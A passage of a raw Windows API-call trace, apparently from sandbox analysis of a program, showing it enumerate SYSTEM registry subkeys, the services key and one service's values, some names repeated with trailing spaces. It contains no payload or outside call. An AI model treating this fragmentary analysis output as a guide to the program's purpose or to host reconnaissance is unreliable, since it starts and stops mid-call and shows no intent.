lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0220.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.830] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0220.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0220.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.830] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0220.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0220.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.831] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0220.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0220.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.831] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0220.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0220.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0220.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.831] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0220.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0220.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f16e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0220.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.831] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0220.831] RegCloseKey (hKey=0x154) returned 0x0 [0220.831] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0220.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0220.831] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.832] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0220.832] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0220.832] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0220.832] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.832] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0220.832] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0220.832] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0220.832] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.832] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0220.832] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.832] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0220.832] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.832] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0220.832] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.832] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0220.832] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.832] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0220.832] RegCloseKey (hKey=0x148) returned 0x0 [0220.832] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0220.832] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0220.833] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0220.833] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.833] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0220.833] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0220.833] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a48, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0220.833] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.833] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0220.833] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0220.833] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f16e8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0220.833] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.833] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0220.833] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0220.833] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a48, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0220.833] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.833] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0220.833] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0220.833] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f16e8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0220.833] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.833] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0220.833] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0220.834] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a48, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0220.834] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.834] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0220.834] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0220.834] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0220.834] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.834] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0220.834] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.834] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0220.834] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.834] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0220.834] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0220.834] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0220.834] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.835] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.835] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0220.835] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0220.835] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.835] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.835] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0220.835] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0220.835] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0220.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0220.836] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0220.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0220.836] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0220.836] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0220.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0220.836] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0220.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0220.836] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0220.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0220.836] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0220.836] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0220.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0220.836] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0220.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0220.836] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.836] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0220.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0220.837] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0220.837] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0220.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0220.837] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0220.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0220.837] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) 